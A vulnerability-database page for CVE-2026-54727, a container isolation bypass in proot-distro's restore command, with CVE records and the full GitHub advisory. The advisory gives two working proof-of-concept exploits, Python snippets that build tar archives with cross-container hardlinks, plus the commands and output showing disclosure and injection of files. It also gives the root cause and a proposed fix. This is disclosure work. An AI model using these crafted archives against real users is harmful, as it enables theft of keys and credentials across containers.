Vulnerability-Lookup

CVE-2026-54727 (GCVE-0-2026-54727)

Vulnerability from cvelistv5 – Published: 2026-07-29 16:41 – Updated: 2026-07-29 18:07

Title

proot-distro has a Container Isolation Bypass via Crafted Restore Archive

Summary

proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-668 - Exposure of Resource to Wrong Sphere

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/termux/proot-distro/security/a…	x_refsource_CONFIRM
https://github.com/termux/proot-distro/commit/98a…	x_refsource_MISC
https://github.com/termux/proot-distro/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
termux	proot-distro	Affected: < 5.1.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54727",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-29T18:07:28.241478Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-29T18:07:46.535Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "proot-distro",
          "vendor": "termux",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.1.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-668",
              "description": "CWE-668: Exposure of Resource to Wrong Sphere",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-29T16:41:46.521Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f"
        },
        {
          "name": "https://github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636be4716",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636be4716"
        },
        {
          "name": "https://github.com/termux/proot-distro/releases/tag/v5.1.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/termux/proot-distro/releases/tag/v5.1.6"
        }
      ],
      "source": {
        "advisory": "GHSA-7h3g-4w2f-fj2f",
        "discovery": "UNKNOWN"
      },
      "title": "proot-distro has a Container Isolation Bypass via Crafted Restore Archive"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54727",
    "datePublished": "2026-07-29T16:41:46.521Z",
    "dateReserved": "2026-06-15T23:07:33.232Z",
    "dateUpdated": "2026-07-29T18:07:46.535Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-54727",
      "date": "2026-07-30",
      "epss": "0.00121",
      "percentile": "0.02243"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-54727\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-29T17:16:53.250\",\"lastModified\":\"2026-07-29T19:16:47.607\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"termux\",\"product\":\"proot-distro\",\"versions\":[{\"version\":\"\u003c 5.1.6\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N\",\"baseScore\":8.2,\"baseSeverity\":\"HIGH\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":1.8,\"impactScore\":5.8}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-29T18:07:28.241478Z\",\"id\":\"CVE-2026-54727\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-668\"}]}],\"references\":[{\"url\":\"https://github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636be4716\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/termux/proot-distro/releases/tag/v5.1.6\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-54727\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-29T18:07:28.241478Z\"}}}], \"references\": [{\"url\": \"https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-29T18:07:43.662Z\"}}], \"cna\": {\"title\": \"proot-distro has a Container Isolation Bypass via Crafted Restore Archive\", \"source\": {\"advisory\": \"GHSA-7h3g-4w2f-fj2f\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 8.2, \"attackVector\": \"LOCAL\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"termux\", \"product\": \"proot-distro\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 5.1.6\"}]}], \"references\": [{\"url\": \"https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f\", \"name\": \"https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636be4716\", \"name\": \"https://github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636be4716\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/termux/proot-distro/releases/tag/v5.1.6\", \"name\": \"https://github.com/termux/proot-distro/releases/tag/v5.1.6\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-668\", \"description\": \"CWE-668: Exposure of Resource to Wrong Sphere\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-07-29T16:41:46.521Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-54727\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-29T18:07:46.535Z\", \"dateReserved\": \"2026-06-15T23:07:33.232Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-07-29T16:41:46.521Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

GHSA-7H3G-4W2F-FJ2F

Vulnerability from github – Published: 2026-07-29 16:42 – Updated: 2026-07-29 16:42

Summary

proot-distro has a Container Isolation Bypass via Crafted Restore Archive

Details

Affected Component

Package: proot-distro
Affected command: restore
Attack surface: Host-side Termux CLI processing a user-supplied backup archive
Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write

Affected Versions

Component	Version
proot-distro	5.1.5 (confirmed affected)
Test distro	Alpine Linux
Architecture	aarch64
Device	Samsung Galaxy A23
Package source	https://packages-cf.termux.dev/apt/termux-main stable/main aarch64

Summary

When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.

The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.

Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.

As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.

Proof of Concept #1 — Cross-Container File Disclosure

All testing was performed using self-owned containers and harmless marker data only.

Step 1 — Create a victim container and marker file

proot-distro install alpine --name victim

proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'

Verification:

proot-distro login victim -- cat /root/proof.txt

PROOF-12345

Step 2 — Create an attacker container

proot-distro install alpine --name attacker

Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("malicious.tar", "w")

d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)

h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)

tf.close()
'

Step 4 — Restore the crafted archive

proot-distro restore ./malicious.tar

Step 5 — Read the copied file from the attacker container

proot-distro run attacker -- cat /exfil/stolen_key

Observed output:

PROOF-12345

This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.

Proof of Concept #2 — Cross-Container File Injection

Step 1 — Create attacker-controlled source data

proot-distro install alpine --name attacker

proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'

Step 2 — Create a victim container

proot-distro install alpine --name victim

Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("write_test.tar", "w")

h = tarfile.TarInfo(
    "victim/rootfs/root/copied_from_attacker.txt"
)

h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600

tf.addfile(h)
tf.close()
'

Step 4 — Restore the crafted archive

proot-distro restore ./write_test.tar

Step 5 — Verify file injection into the victim container

cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"

Observed output:

ATTACKER_DATA

This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.

Impact

An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.

Observed impacts include:

Disclosure of files from other installed containers.
Injection of attacker-controlled files into other installed containers.
Exposure of SSH private keys.
Exposure of API credentials.
Exposure of configuration files containing secrets.
Exposure of application databases stored inside container rootfs directories.

The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.

Root Cause

During hardlink processing, the restore implementation resolves the source container from the archive's linkname field.

The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.

As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.

Proposed Fix

link_container, link_src = _dest_path(member.linkname)

if link_src is None:
    continue

if link_container != container_name:
    continue

link_src = _safe_dest(
    link_container,
    link_src,
    follow_final=True
)

This preserves existing path traversal protections while restoring the expected isolation boundary between containers.

Additional Notes

Issue reproduced on the official Termux package repository.
No root access was used.
No third-party data was accessed.
Testing used only self-owned containers and harmless marker data.
Cross-container disclosure reproduced using the marker value PROOF-12345.
Cross-container file injection reproduced using the marker value ATTACKER_DATA.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.1.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "proot-distro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54727"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T16:42:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Affected Component\n\n- **Package:** proot-distro\n- **Affected command:** `restore`\n- **Attack surface:** Host-side Termux CLI processing a user-supplied backup archive\n- **Vulnerability type:** Container Isolation Bypass / Cross-Container Read and Write\n\n---\n\n## Affected Versions\n\n| Component | Version |\n|---|---|\n| proot-distro | 5.1.5 (confirmed affected) |\n| Test distro | Alpine Linux |\n| Architecture | aarch64 |\n| Device | Samsung Galaxy A23 |\n| Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |\n\n---\n\n## Summary\n\nWhen restoring a crafted backup archive, `proot-distro restore` accepts hardlink entries whose source path references a different installed container.\n\nThe restore logic resolves the hardlink source from the archive\u0027s `linkname` field and copies the referenced file into the container identified by the archive entry.\n\nAlthough path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.\n\nAs a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.\n\n---\n\n## Proof of Concept #1 \u2014 Cross-Container File Disclosure\n\nAll testing was performed using self-owned containers and harmless marker data only.\n\n### Step 1 \u2014 Create a victim container and marker file\n\n```bash\nproot-distro install alpine --name victim\n\nproot-distro login victim -- sh -lc \u0027\nmkdir -p /root\nprintf \"PROOF-12345\\n\" \u003e /root/proof.txt\n\u0027\n```\n\nVerification:\n\n```\nproot-distro login victim -- cat /root/proof.txt\n\nPROOF-12345\n```\n\n---\n\n### Step 2 \u2014 Create an attacker container\n\n```bash\nproot-distro install alpine --name attacker\n```\n\n---\n\n### Step 3 \u2014 Build a crafted archive\n\n```python\npython3 -c \u0027\nimport tarfile\n\ntf = tarfile.open(\"malicious.tar\", \"w\")\n\nd = tarfile.TarInfo(\"attacker/rootfs/exfil\")\nd.type = tarfile.DIRTYPE\nd.mode = 0o755\ntf.addfile(d)\n\nh = tarfile.TarInfo(\"attacker/rootfs/exfil/stolen_key\")\nh.type = tarfile.LNKTYPE\nh.linkname = \"victim/rootfs/root/proof.txt\"\nh.mode = 0o600\ntf.addfile(h)\n\ntf.close()\n\u0027\n```\n\n---\n\n### Step 4 \u2014 Restore the crafted archive\n\n```bash\nproot-distro restore ./malicious.tar\n```\n\n---\n\n### Step 5 \u2014 Read the copied file from the attacker container\n\n```bash\nproot-distro run attacker -- cat /exfil/stolen_key\n```\n\nObserved output:\n\n```\nPROOF-12345\n```\n\nThis demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.\n\n---\n\n## Proof of Concept #2 \u2014 Cross-Container File Injection\n\n### Step 1 \u2014 Create attacker-controlled source data\n\n```bash\nproot-distro install alpine --name attacker\n\nproot-distro login attacker -- sh -lc \u0027\nmkdir -p /root\nprintf \"ATTACKER_DATA\\n\" \u003e /root/source.txt\n\u0027\n```\n\n---\n\n### Step 2 \u2014 Create a victim container\n\n```bash\nproot-distro install alpine --name victim\n```\n\n---\n\n### Step 3 \u2014 Build a crafted archive\n\n```python\npython3 -c \u0027\nimport tarfile\n\ntf = tarfile.open(\"write_test.tar\", \"w\")\n\nh = tarfile.TarInfo(\n    \"victim/rootfs/root/copied_from_attacker.txt\"\n)\n\nh.type = tarfile.LNKTYPE\nh.linkname = \"attacker/rootfs/root/source.txt\"\nh.mode = 0o600\n\ntf.addfile(h)\ntf.close()\n\u0027\n```\n\n---\n\n### Step 4 \u2014 Restore the crafted archive\n\n```bash\nproot-distro restore ./write_test.tar\n```\n\n---\n\n### Step 5 \u2014 Verify file injection into the victim container\n\n```bash\ncat \"$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt\"\n```\n\nObserved output:\n\n```\nATTACKER_DATA\n```\n\nThis demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.\n\n---\n\n## Impact\n\nAn attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.\n\nObserved impacts include:\n\n- Disclosure of files from other installed containers.\n- Injection of attacker-controlled files into other installed containers.\n- Exposure of SSH private keys.\n- Exposure of API credentials.\n- Exposure of configuration files containing secrets.\n- Exposure of application databases stored inside container rootfs directories.\n\nThe issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.\n\n---\n\n## Root Cause\n\nDuring hardlink processing, the restore implementation resolves the source container from the archive\u0027s `linkname` field.\n\nThe resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.\n\nAs a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.\n\n---\n\n## Proposed Fix\n\n```python\nlink_container, link_src = _dest_path(member.linkname)\n\nif link_src is None:\n    continue\n\nif link_container != container_name:\n    continue\n\nlink_src = _safe_dest(\n    link_container,\n    link_src,\n    follow_final=True\n)\n```\n\nThis preserves existing path traversal protections while restoring the expected isolation boundary between containers.\n\n---\n\n## Additional Notes\n\n- Issue reproduced on the official Termux package repository.\n- No root access was used.\n- No third-party data was accessed.\n- Testing used only self-owned containers and harmless marker data.\n- Cross-container disclosure reproduced using the marker value `PROOF-12345`.\n- Cross-container file injection reproduced using the marker value `ATTACKER_DATA`.",
  "id": "GHSA-7h3g-4w2f-fj2f",
  "modified": "2026-07-29T16:42:11Z",
  "published": "2026-07-29T16:42:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636be4716"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/termux/proot-distro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/releases/tag/v5.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "proot-distro has a Container Isolation Bypass via Crafted Restore Archive"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-54727 (GCVE-0-2026-54727)

GHSA-7H3G-4W2F-FJ2F

Affected Component

Affected Versions

Summary

Proof of Concept #1 — Cross-Container File Disclosure

Step 1 — Create a victim container and marker file

Step 2 — Create an attacker container

Step 3 — Build a crafted archive

Step 4 — Restore the crafted archive

Step 5 — Read the copied file from the attacker container

Proof of Concept #2 — Cross-Container File Injection

Step 1 — Create attacker-controlled source data

Step 2 — Create a victim container

Step 3 — Build a crafted archive

Step 4 — Restore the crafted archive

Step 5 — Verify file injection into the victim container

Impact

Root Cause

Proposed Fix

Additional Notes

Tags

Sightings

Nomenclature